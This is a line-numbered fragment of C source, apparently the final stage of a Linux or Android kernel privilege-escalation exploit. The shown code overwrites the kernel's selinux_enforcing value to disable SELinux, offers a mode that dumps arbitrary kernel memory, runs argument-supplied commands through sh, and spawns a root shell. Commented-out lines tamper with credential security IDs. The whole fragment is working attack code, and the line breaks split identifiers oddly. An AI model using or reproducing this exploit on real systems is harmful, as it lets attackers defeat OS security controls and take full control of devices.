1120 message("MAIN: **FAIL** did not find selinux_enforcing symbol");
1123 kernel_write_uint(selinux_enforcing
, 0);
1124 message("MAIN: disabled selinux enforcing");
1126 cacheSymbol(argv
[0], "selinux_enforcing", selinux_enforcing
);
1127 message("MAIN: root privileges ready");
1129 /* process hangs if these are done */
1130 // unsigned long security_ptr = kernel_read_ulong(cred_ptr + OFFSET__cred__security);
1131 // kernel_write_uint(security_ptr, 1310);
1132 // kernel_write_uint(security_ptr+4, 1310);
1133 // for (int i=0; i<6; i++)
1134 // message("SID %u : ", kernel_read_uint(security_ptr + 4 * i));
1137 if (argc
>= 2 && argv
[1][0] == '-') {
1138 if (!strcmp(argv
[1], "-dump") && argc
>= 4) {
1139 unsigned long start
, count
;
1140 sscanf(argv
[2], "%lx", &start
);
1142 sscanf(argv
[3], "%lx", &count
);
1143 unsigned long startValue
= 0;
1146 sscanf(argv
[4], "%lx", &startValue
);
1150 unsigned char page
[PAGE
];
1151 for (unsigned long i
=start
; i
<start
+count
; i
+=PAGE
) {
1152 kernel_read(i
, page
, PAGE
);
1154 for (int j
=0; j
<PAGE
; j
+=8) {
1155 if (*(unsigned long*)(page
+j
)==startValue
) {
1162 printf("%lx:\n", i
);
1163 hexdump_memory(page
, PAGE
);
1171 execlp("sh", "sh", "-c", argv
[1], (char *)0);
1174 message("MAIN: popping out root shell");
1175 execlp("sh", "sh", (char*)0);